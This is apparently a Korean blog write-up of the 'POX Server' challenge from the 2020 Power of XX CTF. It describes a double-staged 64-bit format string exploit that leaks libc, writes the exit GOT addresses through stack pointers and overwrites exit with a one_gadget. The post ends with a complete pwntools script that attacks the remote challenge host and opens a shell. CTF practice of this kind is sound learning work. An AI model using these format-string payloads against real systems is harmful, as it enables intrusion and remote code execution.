상세 컨텐츠

본문 제목

[2020 Power of XX] POX Server write up (double staged fsb 64bit)

SYSTEM HACKING/CTF, etc

by koharin 2020. 12. 18. 21:11

본문

728x90
반응형

환경

 

 


Exploit Flow

 

1. libc leak

 

 

릭을 하다보면 13번째 위치의 __libc_start_main+240 부분 주소가 눈에 띄어서, 해당 주소를 출력해서 libc leak을 진행했다.

 

exit got에 써진 주소에서 다른 부분인 총 6바이트를 덮으면 되는데, onegadget을 그대로 사용하면 안 돼서 low, middle, high로 나누어 구해줬다.

 

 

2. 스택 포인터에 exit got, exit got+2, exit got+4 적기

 

 

여기에서 주소 중 스택 포인터를 값으로 가지는 것을 고른다. 스택 포인터는 자기 주소보다 높은 위치에 있어야 한다. 해당 값의 주소를 통해 값으로 exit got를 적고, 해당 주소 값의 위치(exit got를 적은)를 통해 one gadget을 주면 exit got에 값을 적을 수 있게 된다.

 

 

 

하이라이팅한 주소가 exit_got, exit_got+2, exit_got+4를 덮을 주소들이다. 각각 값을 주면 하이라이팅한 주소가 값으로 가지는 주소 값에 exit got가 적히게 된다.

 

 

 

포인터 값에 각각 exit_got(0x602060), exit_got+2(0x602062), exit_got+4(0x602064)가 적힌 것을 확인할 수 있다.

 

 

3. exit got, exit got+2, exit got+4를 one gadget low, middle, high로 덮기

 

exit으로 덮힌 주소 위치를 오프셋으로 주고 one gadget low(오프셋 12), middle(오프셋 40), high(오프셋 39)를 2바이트씩 주면 exit got가 차례대로 덮히게 된다.

 

 

4. 메뉴 출력됐을 때 timeout 될 때까지 기다린 후 get shell!!

 

 


Exploit Code

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./challenge")
p = remote('3.35.204.82', 20518)
elf = ELF("./challenge")
exit_got = elf.got['exit']
oneshot_off = [0x45226, 0x4527a, 0xf0364, 0xf1207]

context.log_level = 'debug'
def Add(data):
    p.sendafter("> ", '1')
    p.sendafter(": ", data)

def Print():
    p.sendafter("> ", '2')
    p.recvuntil("LOADING ...\n")

### libc leak ###
Add('%13$p')
Print()

leak = int(p.recv(14), 16)
libc_base = leak - 0x20840
one_gadget = libc_base + oneshot_off[3]
log.info("leak: "+hex(leak))
log.info("libc_base: "+hex(libc_base))
log.info("one_gadget: "+hex(one_gadget))
#gdb.attach(p)
one_gadget_low = one_gadget & 0xFFFF
one_gadget_middle = (one_gadget >> 0x10) & 0xFFFF
one_gadget_high = (one_gadget >> 0x20) & 0xFFFF

low = one_gadget_low

if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle


### exploit ###
pay = '%{}x'.format(exit_got)
pay += '%6$n'
Add(pay)
Print()

pay = '%{}x'.format(exit_got+2)
pay += '%10$n'
Add(pay)
Print()

pay = '%{}x'.format(exit_got+4)
pay += '%38$n'
Add(pay)
Print()

pay = '%{}x'.format(one_gadget_low)
pay += '%12$n'
Add(pay)
Print()

pay = '%{}x'.format(one_gadget_middle)
pay += '%40$n'
Add(pay)
Print()

pay = '%{}x'.format(one_gadget_high)
pay += '%39$n'
Add(pay)
Print()

p.interactive()

728x90
반응형

관련글 더보기